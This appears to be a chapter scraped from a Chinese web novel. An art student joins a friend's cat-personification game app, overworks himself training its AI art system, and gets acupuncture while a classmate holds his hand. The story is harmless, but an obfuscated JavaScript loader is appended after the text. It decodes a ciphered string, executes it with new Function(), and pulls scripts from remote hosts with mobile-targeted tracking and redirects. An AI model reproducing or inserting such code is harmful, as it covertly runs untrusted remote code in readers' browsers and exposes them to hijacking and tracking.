第30章 第 30 章(1 / 2)

“是这样的, ”张黎阳在白念旁边坐下,急忙道,“我们想做一款猫咪拟人的游戏APP, 但这个猫需要我们在线下拍摄,然后生成角色卡片参与剧情探索,PK,比赛等活动。”

白念没太理解:“线下拍摄生成角色卡?”

“是的,就比如我在路上拍了一只小猫,手机APP就会生成三个形象,猫咪原本的卡通图像, 拟人图片男版, 拟人图女版。”

白念:“可每只动物都不一样, 你们生成的图片也会不一样吗?”

“当然,这才是这个APP好玩的地方,”张黎阳眼睛亮了起来,“我们每一张拟人图, 都会根据拍摄对象的特点生成,可以说, 生成的每一张图片都是独一无二的。”

白念也见过AI作画,但网上那些图都是都拼西凑,比较阴间。

他不太放心:“现有的技术可以做到吗?”

“这就要问严哥了。”张黎阳拍了拍严时律肩膀, “你给白念解释一下。”

“理论上来说是可行的, ”严时律点点头,“我们会依靠图像识别技术, 抓取拍摄对象的主要特点, 然后再从图片库里找到类似的元素, 然后用AI作画。”

“还能这样?”白念很意外。

“给你看, 这是我们APP最初期的版本。”张黎阳打开手机,逮着路边的橘猫拍了张照片,过了一会儿,手机APP里就出现了一张图片,橙黄的毛发,胖胖的身体,看起来确实和橘猫有几分相似。

“而且我们还可以调整男版、女版哦。”张黎阳兴奋地给白念演示起来。男女版都是很粗糙的卡通画,一点也不精美。

白念:“……”

张黎阳:“怎么样?是不是很牛逼?”

白念:“你不觉得有点儿丑吗?”

张黎阳:“……”

白念:“这个画风,你确定网友愿意用这种卡片玩游戏?”

张黎阳:“……”

“可……”张黎阳顿了顿,有些委屈,“可我们美术就是这种风格啊!”

白念:“你们美术不是跑路了?”

“……”

“严时律,”张黎阳开始搬救兵,“你能不能说点儿什么?”

严时律:“我都听白念的。”

张黎阳:“……”

白念用手机接送张黎阳传来的beta版,安装玩了几次后,这才收起手机,幽幽道:“要我接手可以,但美术风格要全部推翻重来。”

“全部?!”张黎阳难以置信,“你知道那是多大的工程吗?”

白念站了起来:“那你们去找别人吧。”

“等等!”张黎阳一把抓住白念,急忙道,“让我们商量一下,明天给你答复怎么样?”

“可以。”白念拍了拍自己被弄皱的衣袖,转身离开了。

看着白念的背影,张黎阳有些茫然地挠头:“你有没有觉得,一旦涉及到美术领域,白念就会变得特别强势?”

“没有。”严时律摇头。

他只是觉得刚才认真说话的白念很帅气,也很可爱。

……

白念没觉得自己强势,他只是把自己的看法说出来而已。beta版生成的图片确实丑,丑得不堪入目。

而且他学画画这么多年,已经形成了自己的风格和喜好,参与项目可以,但绝不会跟在别人身后处理烂摊子。

当天晚上,张黎阳就传授了团队的商量结果,毫无疑问同意了他的要求。

吸收了上一次美术跑路的教训,这次张黎阳提出要签订合伙协议,保障大家的权益。

和白念相关的,包括:

1.APP所有底图版权归属白念本人

2.用户通过本APP生成的图片,个人不得用于商业用途

下面还有创业者多方的权益划分,违约要怎么办,白念粗略地扫了一眼,发觉没问题后,签订了合同。

接下来,白念就开始没日没夜地肝图,投喂那个宛如无底洞的AI学习系统。

在这个期间,白念的画册也出版了,他甚至还抽空去了一趟漫展做签售。

“之前你说自己社恐,我怎么没看出来?”签售结束,销售编辑整理着今天的销量数据,有些好奇。

白念愣了愣:“

我刚才表现得不社恐吗?”

“没有啊,”编辑笑了一下,“我甚至觉得你很有气场,看起来很强势呢。”

白念有些意外,但又觉得,应该是他忙着回去肝图,所以全程表情严肃。显得有些吓人。

喂养AI是个大工程,哪怕白念没日没夜地出了许多图,还有严时律不断进行程序优化,刚开始那半个月里,生成出来的图片依旧丑得没眼看。

除了上课外,白念大部分时间都泡在了工作室里,一坐就是一整天,腰酸背痛已经成了常态。

一天深夜,他右边肩膀突然传来一阵刺痛,让他差点儿没能拿住笔。

“怎么了?”注意到他的异常,严时律停下了手里的动作。

“没事,就是肩膀些疼。”白念之前就会这样,没放在心上,“我休息一下就好了。”

严时律看了他半响,但也没有多说什么。

白念活动了一下肩膀继续画画,然而刚动一下,右肩再次传来一阵刺痛,仿佛肩胛骨那个地方藏了一颗针。白念放下画笔,表情逐渐难看起来。

“哪里疼?”严时律不知何时走了过来,双手放在他肩膀上。

白念:“右边,嗯,下面一点。”

“这里?”严时律按了一下他肩胛骨缝隙。

“啊——”白念霎时尖叫出声。

“这么严重?”严时律松了手,不敢再动。

“不知道,之前都没这样过。”白念拿起画笔,想把手头的这幅画画完。

“先别画了。”严时律抽走他手里的感应笔,“明天去医院看看。”

翌日上午,白念坐在A大中医院康复理疗科门诊办公室,接受医生的检查。

门诊医生手劲儿贼大,三两下就把白念按得叫了出来。白念叫得越惨,他按得越起劲儿。

等医生把他肩颈后背按了个遍,这才在电脑上敲下一串病症,很不理解:“颈椎病,腰肌劳损,肩颈肌肉劳损,筋膜炎……你才不到20岁,怎么就得了这种病?”

白念羞愧不已:“可能是画画坐久了……”

医生:“平时注意运动,一个小时就要起来活动活动,最好每天拉伸,还有肩颈别着凉了。”

白念乖巧点头:“好的呢。”

医生:“我给你开五个疗程的推拿和针灸,你拿了单子去住院部做治疗。”

“啊?针灸?”白念从没做过这种项目,有些排斥。

医生:“别怕,不痛的。”

虽然对方这么说,但白念心头莫名有些打鼓。

交完费后,白念和严时律去了住院部推拿室。刚从电梯里出来,他就听到了一阵阵惨叫声。白念脸都白了,硬着头皮走到了推拿室门口。门口排了不少人,都是等着做治疗的。

“感觉还要等好久,”白念不太好意思,“不然你先回去?”

“不用。”严时律从书包里掏出电脑,“我在这里也能工作。”

等了接近半个小时,终于轮到了白念。

严时律收起电脑,陪他一起在里面等。

白念坐在凳子上,给他做推拿的医生很年轻,还在和他开玩笑:“我上一次按这么硬的斜方肌,还是上一次。”

白念被按得酸爽又痛苦,憋了半天,终于来了一句:“好,不愧是我。”

医生被他逗笑,没能控制住手里的力道,又把白念按得叫了起来。

推拿点穴完毕,接下来就是针灸电疗。

“电疗是什么啊?”白念不懂。

“先给你扎针,然后给针通电。”

“啊?通电?”白念脸都白了。

医生:“不疼的,你先趴下。”

白念趴在病床上,心跳得七上八下的。更可怕的是旁边有个女生也在扎针,反应特别大,下一颗针就尖叫一声,叫得白念人都慌了。

“好了,来了啊!”医生拿着针走过来。

白念双手紧握成拳,一点点咬紧了牙关。

“放松。”一道熟悉的声音响起,紧接着,有人握住了他颤抖的右手。白念没抬头,但知道这是严时律在安慰他。

白念趴在枕头上,突然脑海中的慌乱消失了,他轻轻握住严时律的手,逐渐觉得安心起来。

医生过来下针,扎针时有点儿疼,但进去后就基本没什么感觉了。稍后,医生给他上电疗,也没有想象中那么恐怖,就是感觉扎针的地方一跳一跳的,很神奇的感觉。

等医生离开后,白念这才反应过来,自己竟然还抓着严时律的手。他想松

开,对方却仿佛没有注意到他的暗示,甚至握得更紧了。

两个手心贴在一起,掌心发烫,逐渐变得潮湿起来。

白念注意力一会儿在手上,一会儿在肩膀上,等他回过神来才发现,治疗时间竟然已经结束了。

医生过来给他拔针,检查一遍后拍了拍他肩膀:“好了,可以了。”

白念这才松开了严时律的手,掌心黏糊糊的,缓了好久,那种感觉都消不下去。

离开病房时,白念听到刚才扎针的那个女生埋怨:“你看看人家,同学全程握着他的手,你还是我男朋友呢,都不知道关心我。”

“你怎么知道人家是同学?”男生幽幽道,“万一人家也是男朋友呢?”

白念:“……”

……

接下来的日子里,白念一边画画,一边去医院做治疗,时间很快就到了元旦节。张黎阳提议,假期大家一起去旅游放松一下。

白念确实也想休息一下,没有拒绝。

却没想到他回寝室时,顾清辞也问他,元旦要不要一起出去玩。

“要呢,”白念点点头,“我和张黎阳他们约好了。”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();